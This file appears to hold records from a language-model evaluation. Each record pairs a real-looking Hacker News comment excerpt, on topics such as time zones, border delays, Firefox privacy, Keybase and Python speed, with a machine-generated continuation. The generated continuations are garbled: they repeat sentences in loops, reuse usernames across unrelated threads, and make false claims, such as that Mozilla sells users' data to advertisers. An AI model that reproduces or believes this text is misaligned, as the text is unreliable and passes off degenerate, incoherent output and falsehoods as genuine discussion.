an elephant, I believe) and then\nchanged it without updating my grammar.\n\n------\nbitwize\nHuh? Games? On _my_ Linux?\n\n~~~\neru\nUnix was one of the first operation systems to come with games out of the box.\nLinux proudly follows that tradition.\n\nSome other interesting commercial games for Linux are available at\n\n\n~~~\nugh\nThat may be true but Linux still sucks as a gaming platform. That"} +{"output_text": " a pain in the ass, and this is just a\nfrivolous addition to the problem.\n\n~~~\ntoyg\nI'm not sure why this is getting downvoted. It's a valid point, and I'm not\nsure why it's being downvoted.\n\n~~~\ntoyg\nI'm not sure why this is getting downvoted. It's a valid point, and I'm not\nsure why it's being downvoted.\n", "input_text": " the DST and non-DST versions label themselves as such, the\n> representation used to track time must distinguish whether DST is active or\n> not to display the correct local time. Really, when I say store local time +\n> timezone, I mean local time plus identifier that gets you to the same unique\n> timezone representation in your medium (python, in this case).\n\nI guess that's my point: the IANA identifier is a well-known way to serialize\na TZ, but doesn't include DST flags because they're not relevant. I think if\nyou wanted to store something like a Python tzinfo object, the easiest way is\njust storing (local time, offset from UTC); (maybe (local time, offset from\nUTC, IANA TZ ID), if you want to keep the TZ)\n\ntzinfo's don't really have a defining quality in Python, I've found. You can\nend up \u2014 depending on libraries used \u2014 with two tzinfos that both conceptually\nare \"UTC\", but don't compare equal\u2026\n\nNow that I've thought about it again, I'm not entirely sure that the DST flag\n+ TZ name by itself is sufficient, mostly in the case of a TZ deciding to\nchange their offset.\n\n> just always convert to UTC and store that. It changes the problem from one\n> of data fidelity to display\n\nThe right thing to do, and for the right reasons.\n\n------\ntoyg\nTerrible PEP, I hope it gets rejected. One-off flags like this are hacks that\nshouldn't be in stdlib. It simply stinks, in an area (time handling) where the\nstdlib does not really smell like roses already.\n\nDealing with time adjustments is"} +{"output_text": "small number of people who are being detained and deported.\n\n~~~\nseldo\nI think you're right, but I think the average citizen is also not thinking\nabout the relatively small number of people who are being detained and\ndeported.\n\n------\njakejake\nI think the problem is that the US immigration system is not designed to\nhandle the volume of people that are coming in.\n\nI think the US immigration system is designed to handle the volume of", "input_text": " if\nbureaucratic middle-management hates something it is being featured in bad\npress and asked unpleasant question by his superiors. But when it comes to\nvisitors, there's pretty much zero incentive to treat them better. I'm not\nsaying that immediately leads to bad treatment - I am a non-citizen, I crossed\nUS border more than a dozen times last few years and always was treated with\ncourtesy and respect, which I assign to the good nature of the people that\nworked there. But there always are bad apples, and there's very little that\ncan keep those in check. If the immigration officer mistakenly denies entry or\ncosts a person 5 hours of their life, there are no consequences, ever. So\nthese things are bound to happen, unless some kind of incentive to become\nbetter will be found.\n\n~~~\nseldo\nOne of those incentives could be if US citizens decided to complain about the\nimmigration system -- the point of the post is to attempt to marginally\ncontribute towards that happening.\n\n~~~\njakejake\nAs sad as it may be I don't think the average US citizen is concerned about a\n5-hour delay for non-citizens at the border. The ordinary Joe is likely to be\nOK with 200 people being delayed if that results in a few people being\ndeported and 1 person being hauled off to jail (which is pretty much what the\nOP said happened). I have a feeling the \"average\" consensus would be that it\nwas worth in in order to keep those 4 people out.\n\nI'm not saying I agree with this whatsoever - I'm just saying my gut tells me\nthis mentality is likely to get you more votes if you are running for office\nin a border state. The average citizen is not thinking about the relatively\n"} +{"output_text": "/en-\nUS/privacy/firefox/)\n\n~~~\njosteink\n> _Seems like multiple issues with Firefox (Cliqz and now this)._\n\nI'm not sure if you're being sarcastic or not, but I'm not sure if you're\naware of the fact that Firefox is a for-profit company.\n\nThey have a business model that is based on selling your data to advertisers.\n\nThey have a business model that", "input_text": " if in principle they could be MitM'd.\n\n~~~\nggm\nso again, how does this make DOH worse than 8.8.8.8?\n\n~~~\nMacha\nYou manually opt in to 8.8.8.8. You may be using something with stronger legal\nprotections than Cloudflare and will not be aware you need to opt out of this.\nThe strength of encryption on the network is irrelevant if you don't trust the\nrecipient.\n\n------\nAnarchistNode7\nHate me for that, but my opinion is that there is no reason for using Firefox\nat all anymore. Mozilla as company have decided that honesty, dignity and\nloyalty towards their origin user base was less important than the hopeless\ntry to defeat Google Chrome and take their place in market share.\n\nAll what Mozilla does is simplifying the browser, removing every single bit of\nmore advanced customization features to be most attractive to the typical\nmainstream user who thinks that customization, features and choice is bloat\nand should have no part inside the product.\n\nHow should i as wary user ever have faith in Mozilla as i see what they have\nbeen doing since 2013?\n\nIf they want to be so badly like Google Chrome, then i can also use the\noriginal instead.\n\nI - as being loosely connected to the Anonymous collective - value morality\nmost. And that morality... Mozilla has thrown over board without thinking\ntwice about it.\n\n------\njamiesonbecker\nSeems like multiple issues with Firefox (Cliqz and now this). FF's new privacy\npolicy has so many exceptions that it makes it challenging to read:\n[https://www.mozilla.org/en-US/privacy/firefox/](https://www.mozilla.org"} +{"output_text": "all>\n\n------\njrockway\nI don't think the NYT is a good example of a newspaper that is \"good enough\".\nIt's a good example of a newspaper that is \"good enough\" for people who don't\ncare about the content.\n\n------\njrockway\nI don't think the NYT is a good example of a newspaper that is \"good enough\".\nIt's a good example of a newspaper that is \"good enough\" for", "input_text": " olden times.\"\n\nRutledge hasn't apparently visited the NYT often and maybe hasn't picked up a\nnewspaper in awhile.\n\n1\\. Not all of the NYT's traffic is through subscribers: it lets the average\nuser access at least 20 articles a month, and its \"paywall\" is very permeable.\n\n2\\. Even when you pay full price for an issue at the stand, that newspaper\nstill comes with ads. Subscriptions have not accounted for the entirety of\nnewspapers and magazines revenues in a while...\n\n------\nniels_olson\nA few years ago, I laid out head-to-head comparisons of the top newspapers in\nthe US with and without adblock and noscript. NYTimes, on a screen, is easily\nthe best newspaper. Unfortunately, the pressure of jamming more and more links\nand stories above the fold seems to have eroded the NYTimes usability.\n\n[http://www.edwardtufte.com/bboard/q-and-a-fetch-\nmsg?msg_id=0...](http://www.edwardtufte.com/bboard/q-and-a-fetch-\nmsg?msg_id=0002nk#above-fold)\n\nWe should do a poll too: I think a lot of netizens would support NYTimes to\nthe same degree they do NPR, but I don't think the average netizen donates\n$260 to NPR annually (the price NYTimes is asking for their tablet app).\n\n------\nMrAlmostWrong\nThere is no need to redesign when you can read the NYT in basically any format\nof your choosing with the NYT Skimmer:\n\nThere's a whole stack of apps there, developed within 48 hours by small groups of people. They're not all beautiful, but there is (to my eye) a pretty high standard of presentation for most of them.

I am sure I am not alone in feeling like there's this chunk of knowledge I'm missing - in terms of how, and when, to go about making something beautiful.

I'm fascinated by the concept of optimizing user experience - it certainly has the potential to make or break an application's popularity. If you can spend valuable time tweaking code to make it more appealing to the compiler, why can't it work in the other direction too? Though I don't think it's reasonable to expect myself to be incredible at both, I'd like to be able to put together a prototype that looks nice. After all, I wouldn't show people code that I knew was bad and ugly.

Part A - I would love to know - how does this aspect fit into the flow of the project? At what point do you start turning things from black-text-on-white-background into a beautiful and intelligent layout? I'm sure it's usually incremental, but is there a specific point at which you decide to shift focus over to implementing your UI? I know I usually go through many notebook pages of UI ideas even before I've written any code. Is it worthwhile doing mockups in photoshop at this stage? Showing different designs to people and asking for feedback? Or do you usually do this after your core functionality is built? And where do you draw the line, say 'this is ready enough for now!' and release the thing?

Part B -"} +{"output_text": " or \"new\" library that is supposed to solve all of your problems.\n\nI think the problem is that the Node.js community is so small that it is\ndifficult to find a library that solves a problem that you are having. I\nhaven't found a library that solves the problem of \"I want to do X, but I don't\nwant to do Y\".\n\n~~~\njashkenas\nI think you're right that the Node.js community is small", "input_text": " single place where callbacks are invoked and make sure all state and resource cleanup is properly done to support domains\n\n* Popular libraries need to also add try-finally handlers for the above.\n\nAs to why this is a problem in node and not so much in other languages, its\nbecause with node callbacks, the call stack goes both ways. In other\nlanguages, libraries mostly call their dependencies' code. In node's CPS\nstyle, you call the library but the library also calls your closure code. The\nsemantics for the 2nd part aren't well defined in node - the loose law\nbasically says: I wont call you twice, I'll try not to call you synchronously,\nand you wont throw (and if you do the behavior is undefined).\n\nWith promises there is a contract and its enforced by the promise\nimplementation. Since Promises actually have error semantics, you can build\nresource management strategies on top of them. [http://promise-\nnuggets.github.io/articles/21-context-manager...](http://promise-\nnuggets.github.io/articles/21-context-managers-transactions.html) \\- and\nconsequently there is no reason to crash your server on errors.\n\n~~~\nlobster_johnson\nDomains are used for another reason: To emulate thread-local variables. I hope\nthat support is not going away, because it's really handy.\n\n~~~\nspion\nIts interesting that the same problem (TLS) can also be solved with something\nsimilar to promises :)\n\n------\nCorrado\nI agree with this article and find the Node.js community, and to a lesser\nextent Javascript itself, exhausting. It seems like every 2 minutes there is a\n\"more\""} +{"output_text": "vention in this way.\n\n~~~\njosteink\n> _I shouldn 't be able to write code that tries to read a user's /etc/hosts,\n> but I can load content via AJAX, see that the content isn't loading, and\n> then take action based on that (maybe loading from a secondary source, maybe\n> not displaying the page if not all content can be loaded)._\n\nThat's not circumventing ad-blocking. That", "input_text": "news.net/news_article/57ab2d7184f6fd5f5a...](https://www.privacy-\nnews.net/news_article/57ab2d7184f6fd5f5ad2ddcd)\n\n[http://news.softpedia.com/news/blocking-ad-blockers-may-\nbe-i...](http://news.softpedia.com/news/blocking-ad-blockers-may-be-illegal-\nin-the-eu-thanks-to-the-cookie-law-503359.shtml)\n\n~~~\nmdasen\nIt depends on how it is implemented. Those articles are about invading the\nprivacy of the user by detecting what software is on the machine. However, you\ndon't need to detect that someone has an ad-blocker to circumvent it.\n\nFirst, you can simply disguise your ads. You can disguise them for everyone.\nThat doesn't require you to peek into what software is on the machine. You've\nsimply made it difficult for an ad-blocker to detect the ads.\n\nSecond, you don't have to peek into the software on a machine to determine\nthat content isn't loading. Let's say that someone is blocking my ad server\nvia /etc/hosts. I shouldn't be able to write code that tries to read a user's\n/etc/hosts, but I can load content via AJAX, see that the content isn't\nloading, and then take action based on that (maybe loading from a secondary\nsource, maybe not displaying the page if not all content can be loaded).\n\nI'm not saying that Facebook is circumventing ad-blocking in this way, but you\ncertainly can attempt ad-block circum"} +{"output_text": " for you may not work for others.\n\n~~~\nsalixrosa\nI'm not saying that public transport is perfect. I'm saying that it is\nperfectly adequate for the vast majority of people.\n\n~~~\nnec4b\nIt is not. It is not even close.\n\n------\njedberg\nI think the biggest problem with the car is that it's a status symbol.\n\nI'm not saying that's a bad thing, but it", "input_text": " certain size or have accomplished\ninitial goals and are looking to conquer that next frontier. Just look at the\noverreach of the SV titans, for example.\n\nFor better or worse, we have a car based society now, and pining for the good\nold days is backwards looking. The next thing should preserve the immense\nfreedom and flexibility that cars brought. Prescribing a top down solution\nthat gives even more power to the state at the expense of the people is a non\nstarter.\n\n~~~\nsalixrosa\nCan you give me an example of the immense freedom and flexibility that cars\nbrought?\n\nCan you give me an example that doesn't involve driving to the middle of\nnowhere, that isn't solved by a good public transportation system, and doesn't\ninvolve bringing home large amounts of groceries, or furniture, etc?\n\n~~~\nnec4b\nDaily routine for people who do not live, work and socialize exclusively in\nthe city center. Things like going to work, piking up kids, shopping, visiting\nother people, having hobbies, outdoor activities, returning borrowed stuff,...\n\n~~~\nsalixrosa\nA city center isn't required for public transportation to be convenient. I've\ntaken public transit through suburbs and tiny towns and out to the\ncountryside.\n\nIt just so happens that most of the public transit in the states royally sucks\n-- even in the city centers.\n\n~~~\nnec4b\nIt is not a matter of quality. By definition public transport cannot connect\nall the dots on the map. It is simply impractical or rather impossible. The\ncar gives us freedom of movement that nothing else can currently match. You\npersonal anecdote of taking public transport doesn't invalidate other people\nuse cases and needs, because what works"} +{"output_text": ".\n\n~~~\njedberg\n> We only have ~180,000 users, and we want to bring crypto to everyone.\n\nI think you're missing the point.\n\nI don't want to pay for Keybase. I want to pay for a service that I can use\nwith my friends.\n\nI don't want to pay for Keybase. I want to pay for a service that I can use\nwith my friends.\n\nI don't want", "input_text": ", is going to be there in six months? Like, I\n_still_ have a private server in a closet in my apartment that syncs all the\nstuff I trust Keybase with because I don't know what the business-side failure\ncase is.\n\nYou guys should be taking my money, is what I'm saying. Also probably hiring\nme. But definitely taking my money.\n\n~~~\nmalgorithms\nWe believe the right long-term answer for Keybase is finding a way to charge\nlarge corporations and offer pretty much everything else for free. Obviously\nthere would have to be some paid tier if you really wanted 10TB of storage or\nsomething, but very few people want that right now. We're still just getting\nstarted.\n\nOf course to achieve our goal, we'll also have to find a way to distinguish\ncommunities - which we'll want to use Keybase for free - and companies.\n\nMany of us on the team have come from ad-supported businesses and we really,\nreally never want to do that again. I personally guarantee I will never be a\n\"publisher\" again. Fortunately that just can't work with Keybase, so no fears\nthere.\n\nBut charging for anything on Keybase right now would be a big mistake. We only\nhave ~180,000 users, and we want to bring crypto to _everyone_. That basically\nmeans making products we believe are better.\n\nAnother way of looking at your concern: I think if we were charging right now,\nit wouldn't actually _decrease_ the odds we disappeared in a few years. It\nmight distract our attention from working on the best product and cause our\nbloody demise. So maybe we're not choosing the path that gives you the highest\nimpression of safety, but I think we actually are"} +{"output_text": "mer/spotlight/spirit/a3_20040108.html)\n\\- and I've seen a watch that kept the time of the moon.\n\nI wonder if the watch can be set to any time zone.\n\n------\njoshstrange\nI'm not sure why this is being downvoted. I think this is a good move by Apple\nand I think it's a good move for the watch. I think it's a good move for the\n", "input_text": "\n\nIf you don't agree with this policy because its authoritarian -- it is -- but\nthats Apple and thats another debate. Given that they are authoritarian they\nmight as well get rid of \"apps that exclusively tell time\" or \"fart apps\".\nThis makes sense to me.\n\n~~~\napplerules\nI agree. Also:\n\nSmart phones actually have really nothing to do with cell phones -- the name\nphone is just some marketing skeumorphism because its a smart computer in your\npocket. If the Apple phone couldn't call or text it would still be just as\nuseful and expensive.\n\nIf you don't agree with this policy because its authoritarian -- it is -- but\nthats Apple and thats another debate. Given that they are authoritarian they\nmight as well get rid of \"apps that exclusively call or text\" [e.g. whatsapp,\nhangouts, snapchat, facebook messenger, burner etc] or \"fart apps\". This makes\nsense to me.\n\n------\njoshstrange\nSo while the headline seems pretty damning I think this policy makes sense\nseeing how the third-party \"apps\", as of right now, do not execute ON the\nwatch (everything happens on the phone and talks to watch). Apple doesn't want\n\"custom watch faces\" which will require talking over the expensive (in terms\nof battery) link to the phone for every update. I think this is all about\nbattery not trying to stifle third-party watch faces.\n\n------\ndalke\nI wonder if the restriction only regards Earth time. People have made watches\nthat kept Mars time -\n[http://mars.nasa.gov/mer/spotlight/spirit/a3_20040108.html](http://mars.nasa.gov/"} +{"output_text": " The water was so rough that we had to tie up\nfor a few hours.\n\n------\njoshuaheard\nI'm not sure I understand the point of this article. The author is saying that\nthe Panama Canal is a good example of a project that was done well, but that\nit's not a good example of a project that was done poorly.\n\nI don't think that's a fair characterization. The Panama Canal was a\ndisastrous project. It", "input_text": " terrain that needs clearing. The rain and loose\nsoils that hurt the first attempt at the Panama Canal could be turned into a\npositive factor with today's technology.\n\n~~~\nfraserharris\na) You can not escape the need for locks because there is a 8\" height\ndifference of the Pacific Ocean and the Caribbean. Additionally you have tidal\nvariation.\n\nb) The Panama Canal locks are already in pairs to allow simultaneous bi-\ndirectional traffic. They are currently building a third set of larger locks\nthat will increase maximum dimensions of vessels transiting the Panama Canal.\n\n~~~\nAsbostos\nJust because there's a height difference with locks, doesn't mean some kind of\nsingularity would develop without them. Either the height difference would\ndisappear, or continuous currents through the canal would maintain it.\n\nIn the Panama canal, they benefit from keeping the inland lakes above sea\nlevel so that they're deep enough. If they were connected to the sea, they'd\nlower significantly and even more excavation would be needed to make a path\nfor ships.\n\nThere would also be fascinating effects of strong currents through it, sea\nlevel changes, fresh water lakes becoming salt water (sorry local people!),\nand fish migrating.\n\n~~~\nChristinaM\nThe average difference is 8\" but with tides it can be up to 12' and it changes\nconstantly. It'd be really tough for the ships to handle in the confined space\nespecially when eddies form along the edges and with currents changing over a\nperiod of hours. A lot of these ships only travel at 10-15 knots and they\naren't very maneuverable.\n\nI was recently on a sailboat going through Hell Gate on the East River in NYC.\nIt has about a 6' tidal range."} +{"output_text": " speed, I would say that the\nbottleneck is most likely the data pipeline.\n\n~~~\njimktrains2\n> With applications that are dominated by raw speed, I would say that the\n> bottleneck is most likely the data pipeline.\n\nI think this is the case for most applications.\n\n------\njimktrains2\nI think the author is conflating the speed of the language with the speed of\nthe code.\n\nI've", "input_text": " down.\n\n------\ndahart\nPython's value to me has always been that it's easier to get things done, not\nit's speed. One time when I was interviewing a candidate for a coding job, the\ncandidate said she loved Python the most \"because you can just yell at it and\nit'll work.\"\n\nIt's both the breadth of the standard library and ecosystem, and the simple\nlanguage design, that make developing things in Python faster for me.\n\nDoing problems on Project Euler has been an education for me in how algorithm\nmatters more than speed. Lots and lots of people spend hours writing long C++\ncodes that are easily beaten by a few lines of Python. It certainly goes the\nother way too, and the wrong algorithm in Python is even that much slower and\nmore painful than the right algorithm in C++. But when the right algorithm is\nused and the problem is solved in a few milliseconds, it really doesn't matter\nwhich language uses more CPU cycles, all that matters is whether you saw the\ninsight that let you skip 99% of the search space, and how much time you spend\nwriting code.\n\n------\n_pmf_\nSomewhat ironically, Python is used a lot for things that would benefit from\nraw speed (data processing pipelines) and do not benefit at all from dynamic\ntyping (since the kind of property bags / data frame views over data are\neasily replicated in statically typed languages). But Python's C extension API\nis quite a bit easier than p.e. Matlab's MEX API (to me at least); can typical\nPython IDEs compile and relink extension modules without an external build\nstep?\n\n> Your bottleneck is most likely not CPU or Python itself.\n\nWith applications that are dominated by raw"} +{"output_text": " delivery is a necessity.\n\n------\njedberg\nI'm a big fan of the \"I'm a Mac\" stickers.\n\nI've had a Mac for about 15 years now, and I've never had to buy a single\npiece of software.\n\nI've had to buy a few things, but they were all free.\n\nI've had to buy a few things, but they were all free.\n\nI've had to buy a few things", "input_text": " competently doing their thing in unsexy domains and aren't trying to eat\nthe whole pie.\n\nRock Auto, for instance, isn't trying to serve every idiot on the planet with\na car. If you can't keep your lefts/rights and fronts/backs straight when\nordering e.g. brake hoses, you're going to find it a frustrating experience.\nPutting up a (small) barrier to entry to keep out the least clueful people\nprobably helps keep their costs down.\n\nNot affiliated, just a very happy repeat customer.\n\n~~~\ndan_quixote\nMy nomination is McMaster-Carr (mcmaster.com) - They have a huge catalog of\nparts/tools yet somehow it's so intuitive to browse. I was a mechanical\nengineer in a previous life and McMaster's website was my bible. Step one for\nany new prototype design was to browse this site. Best case scenario, you\ncould cobble together your prototype from various COTS (commercial off the\nshelf) McMaster parts. And if that wasn't an option, scan the catalog for\nnecessary parts and raw materials. If they don't exist at McMaster, your\ndesign idea just got at least 10X expensive and lead time doubled.\n\n~~~\nsambroner\nI was always shocked by McMaster-Carr's delivery speed. I felt like the parts\nwould arrive as quickly as I could have conceivably picked them up.\n\nThis was 10 years ago now, so sort of like Amazon Prime before it became\nubiquitous, but for materials and tools. However McMaster was and remains much\nbetter organized and much better spec-ed.\n\n~~~\nfrandroid\nThat's because they already have to delivery that fast for car repair shops.\nFast"} diff --git a/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-orig.jsonl b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-orig.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a36fca2cfed3357c582cc608ebc1586cd25fafb8 --- /dev/null +++ b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-orig.jsonl @@ -0,0 +1,1000 @@ +{"output_text": " year.\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to be saying\nthat the US is a country that is more likely to be a target of a terrorist\nattack than other countries, but that's not really a new thing. It's been\ntrue for a long time.\n\n~~~\njzwinck\nThe point is that the US is a country that is more likely to be a target of a", "input_text": ", despite\ngoing to some really sketchy places (flying into Iraq as a civilian at the\ncivilian airport with no visa a few times after the invasion...) or otherwise\nbending the rules ($200k in computers, including 6 big 21\" CRTs, on my way to\nset up an office in Anguilla...).\n\n~~~\njzwinck\nI'm a US citizen, and recently visited my embassy abroad. I was denied entry\nand told to make an appointment. The first available was about 10 days away.\nThis was for a simple document I needed signed by them. And I was leaving this\ncountry in less than 10 days. The guard who turned me away said they used to\ntake walk-ins but not since mid-2012.\n\nSo as far as embassies go, being a citizen doesn't help too much.\n\n~~~\npatrickod\nMy experience with US embassies (both the one in Brussels and Dublin) has\nnever seen them refuse entry to a US citizen and tell them to re-schedule.\nThey usually have separate entrances as well with different procedures.\n\n~~~\njzwinck\nWell this was in London. It's a large embassy obviously. They do have separate\nentrances--we went to the US Citizens one. We were blocked from even entering\nthe security lobby at all--the outermost door to the street was locked and the\nguard who cracked it open gave us a postcard with the embassy contact\ninformation to make an appointment. I called them immediately and explained I\nwas in front of their building and could I make an \"appointment\" for right\nthen, but they said I had to use the website. Which told me there was a 10-day\nwait.\n\nAs I said, apparently this practice was instituted just last"} +{"output_text": " of\n\"English Grammar in Use\" has a similar example from the 1930s.\n\n------\njgrahamc\nI'm not sure why this is on the front page. It's a very simple and obvious\npoint.\n\n~~~\njrockway\nIt's a very simple and obvious point, but it's not obvious to everyone.\n\n~~~\njgrahamc\nI think it's a very simple and obvious point to anyone who has ever used a", "input_text": " \"UTC\" name and wrongly think that the exact leap\nseconds are important for them even if they only need the calendar time.\n\nIf you use the POSIX time routines (and you almost certainly do use them\nunless you tweaked something wrongly) you already don't have to deal with the\ncomplexities of the leap seconds (but you should care about DST!) Every day in\nwhat POSIX calls \"Seconds Since the Epoch\" (but is sometimes referred to as\nUTC) has in fact the same number of seconds (if you know C it's what you get\nin time_t for all the time stamps). Only the OS-es have to be fixed to smooth\nthe leap seconds instead of introducing them at once, and then even some\nobscure sync bugs will never happen any more. Google proved that it's a good\napproach.\n\n \n\nBuffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo - roundsquare\nhttp://en.wikipedia.org/wiki/Buffalo_buffalo_Buffalo_buffalo_buffalo_buffalo_Buffalo_buffalo\n\n======\ngruseom\nWhen a friend of mine was in grad school, he helped a classmate prepare for\nher Test of English as a Foreign Language exam. They were going over some fine\npoint about past tenses when, attempting to explain a mistake she had made, he\nsaid: _If you had had \"had\" here, you would have had to have had \"have\"\nthere._ She screamed.\n\n~~~\ndcminter\nReminiscent of the classic 'John, where Peter had had \"had\" had had \"had had\".\n\"Had had\" had had the examiner's approval.'\n\n~~~\nteach\nInteresting that Wikipedia only dates this from 1947; my 1964 copy"} +{"output_text": " a different agency.\n\n------\njedberg\nI'm not sure why this is surprising.\n\nThe reason why the US is so expensive is because we have a lot of people.\n\nThe reason why the UK is so expensive is because we have a lot of people.\n\nThe reason why Spain is so expensive is because we have a lot of people.\n\n~~~\nmattmanser\nThe UK is expensive because we have a lot of people.\n\n", "input_text": " to rest of EU. Or the number of Spanish developers working abroad or\nfor companies abroad. Instead have a graph of Spain's GDP and a graph showing\nthe size of their workforce.\n\nThis is why I rarely ever click on articles and only read the comments. Most\nof the time it's the only place with any substance.\n\n~~~\nldng\nA lot of skilled Spanish dev have fled to Paris and London despite the high\ncost of living of those cities and being paid less because they're foreigners\nbecause it is still more rewarding.\n\nIn Spain, politician and corruption are pushing skilled people away. I have\nseen (and heard of) too many people moving out to be just mere coincidence.\n\nThe subtlety is that most of the time the greedy consulting firm will keep\n198K out of the 220K and the be surprised not to find anyone.\n\n\"Spain is different\" as some friends say.\n\n~~~\nadwf\nAfter Brexit, I'm very tempted to move in the opposite direction. If the\nSpanish consulting firms can be undercut to that extent, there's a potentially\nlucrative market.\n\nUnfortunately I only know French and German, but I could learn Spanish\nrelatively quickly I guess. The corruption and politics is troubling however.\n\n~~~\ncalgoo\nIts not to bad. I live in Barcelona, the corruption is a problem, and will not\nbe solved soon. But thats such a deep problem thats going to take a long time\nto solve. There is currently a a lot of talented local people and\ninternational people who want to work here. A lot of the agencies pay between\n15K and 25K on average for junior developers / administrators. However, you\ncan be stuck in the bracket for a long time unless you are able to find a way\nto switch to"} +{"output_text": "\nI'm talking about the controls and automation side of the business.\n\n------\njoshu\nI'm a software engineer, and I'm looking for a job.\n\nI'm not looking for a job in the Valley, but I'm looking for a job in the\nBay.\n\nI'm looking for a job in a company that is not a startup.\n\nI'm looking for a job in a company that is not a big company.\n\nI'm", "input_text": "able (machine voiceover!).\n\nI believe I could easily charge 1k-2k per month for site licenses of well\nconstructed materials. Maybe quite a bit more, especially if I offer custom\nmaterials for clients. The foundation would be shared across all though.\n\n------\nrdl\nDefense contracting (communications, deployed software systems).\n\nMedical software (PACS/RIS in radiology primarily; some automated lab and\npharmacy experience, medical paging. Limited EHR/EMR experience).\n\nFirearms (retail, wholesale, and manufacturing of small arms)\n\n(plus crypto/security and some datacenter/cloud/etc. stuff, but that's better\ncovered by existing startups)\n\n------\nzmmz\nIndustry: IT side of stock exchanges. Quite a space to explore as it is one of\nthe last parts of the sector that is not widely covered by conventional\nfinancial media (FT etc.) and has no commonly used resources on the web.\nBarriers: End users (traders) usually have no say in the choice of\nplatform/software, extremely secretive industry, most solutions are tailored.\n\n------\ntirrellp\nI know a specific industry, and I have a deep understanding of the current\ntechnlology as well as better solutions: Petroleum controls and automation.\nRipe for the picking.\n\nUnfortunately, like most 'enterprisey' industries, the long sales cycle will\neat you alive if you are not well funded.\n\n~~~\nHeyLaughingBoy\nAre you talking on the production side (refineries) or consumption (fuel\ndispensing)? I used to sell a product that was on fuel trucks and have always\nwondered what else I could do with it.\n\n~~~\ntirrellp"} +{"output_text": "boards, standing desks, etc.\n\nI think the best thing you can do is to just be aware of your body and\ncondition it. If you're sitting for 8 hours a day, you're going to get\nsoreness. If you're standing for 2 hours a day, you're going to get soreness.\nIf you're walking for 2 hours a day, you're going to get soreness.\n\nIf you're sitting for 8 hours a day,", "input_text": " being using it for a few month and it\njust works. They have a free plan.\n\n------\nwebbruce\nAsana\n\n~~~\ncelljunk-e\nNot terribly impressed...but it has potential. I like trello better thus far.\nToodledo is nice, but doesn't have collaboration.\n\n \nThe tyranny of chairs: why we need better design - SirLJ\nhttps://www.theguardian.com/artanddesign/2020/aug/25/the-tyranny-of-chairs\n======\nmattlondon\nJust out of curiosity, am I the only one that seems to be happy to just sit on\na dining chair when at my desk?\n\nWhen the WFH wave hit, people seemed to be going mad buying webcams and office\nchairs. Loads of people I work with spent a _lot_ of energy researching and\ndiscussing chairs etc.\n\nI have a sit-stand desk and I stand for perhaps 2 to 3 hours any working day.\nBut the rest of the time I just sit on a normal old wooden dining chair. No\npain. No aches. No RSI. No CTS.\n\nI've been doing this for decades and nothing seems to have gone wrong yet. I\ndo run 2 to 4 times a week so I do wonder if that helps avoid problems?\n\nAre all the uber-expensive office chairs just snake oil? Or have I just been\nlucky?\n\n~~~\n2OEH8eoCRo0\n>I do run 2 to 4 times a week so I do wonder if that helps avoid problems?\n\nI think there are a lot of stressed and unconditioned office workers who want\nsome magical device to solve everything. Vertical mice, split vertical\nkey"} +{"output_text": " a lot more modular than AOSP, and it's not\ndifficult to maintain a fork of it.\n\n~~~\newoodrich\nI'm not sure what you mean by \"mainstream Linux stack\". The Linux kernel is\nnot modular, and it's not easy to maintain a fork of it.\n\n~~~\nzozbot123\nThe Linux kernel is modular, and it's not hard to maintain a fork of it.\n\n------\njosteink\nI", "input_text": " start with an AOSP foundation (without Google Services) and invest one's\nenergy improving (or even forking) that experience instead of reinventing such\nan enormous wheel?\n\n~~~\ngeowwy\nThey give pretty good reasons for what they're doing on their website:\n[https://postmarketos.org/blog/2017/05/26/intro/](https://postmarketos.org/blog/2017/05/26/intro/)\n\n~~~\ncwyers\nThe reasons don't really seem to address why Android has the issues it has --\ndevice manufacturers don't upstream their code changes to the mainline Linux\nkernel, Linux doesn't have the same level of abstraction around hardware as eg\nWindows does, and the state of ARM SoCs isn't like the x86 platform where\nthere's a lot of standards you can follow, everybody just ships bespoke code\nto boot their SoC and only their SoC. I don't see how shipping a \"real\"\nGNU/Linux userland addresses that.\n\n~~~\nTwisell\nThe reasons are very clear, while I trust Apple so far, it\u2019s both important\nand awesome that a bunch of nice peoples start building a real FOSS\nalternative in case they are actually screwing us.\n\nAndroid can\u2019t be trusted anymore unless major change of policy. By extension\nAOSP are better but still dubious since they can\u2019t totally cut the cord from\nGoogle if needed (as far ad I understood).\n\n~~~\newoodrich\nWhat do you mean by \"cut the cord?\", AOSP doesn't use Google Services and it\ncould be forked at any time (but would admittedly be difficult to maintain\nwithout Google's resources).\n\n~~~\nzozbot123\nThe mainstream Linux stack is"} +{"output_text": "help.\n\n~~~\ndevy\nI think the article you're referring to is from the early days of the outbreak\nin Wuhan.\n\n------\nm0zg\nI'm not sure how this is a surprise. The US has been doing this for years.\n\n[https://www.nytimes.com/interactive/2020/03/27/world/europe/...](https://www.nytimes.com/interactive/2020/", "input_text": "\nnegatives.\n\n[https://en.wikipedia.org/wiki/Sensitivity_and_specificity](https://en.wikipedia.org/wiki/Sensitivity_and_specificity)\n\n~~~\nAzzieElbab\nSpain sent testkits back to China because they were unreliable\n\n~~~\ntehjoker\nIn the NYT article on Italy today, frontline medics were saying that clinical\nsymptoms were anecdotally more reliable than the tests because there are too\nmany false negatives. Not sure whose tests they're using but I've heard\nsimilar things about US PCR tests.\n\n[https://www.nytimes.com/interactive/2020/03/27/world/europe/...](https://www.nytimes.com/interactive/2020/03/27/world/europe/coronavirus-\nitaly-bergamo.html?action=click&module=Spotlight&pgtype=Homepage)\n\n~~~\ndevy\nYep! CT scans and clinician's experience is more reliable than any tests for\nCOVID-19 diagnostics (which should only serving as a definitive confirmation).\nThis also why I believe human doctors are still unbeatable by AI\n\n~~~\ndirtyid\nI remember an article early in the outbreak that Chinese doctors found the\nmost reliable diagnosis comes from CT scans. Test was merely the first filter.\nThey tuned the settings to increase scan speed at the cost of resolution and\nsetup a process to scan up to 200 patients a day per scanner. I wonder if this\nis still best practice that other countries aren't adopting. On the other hand\nI expect tests to have improved since the early days. There's also the\nconsideration China simply had more CT scanners that could be 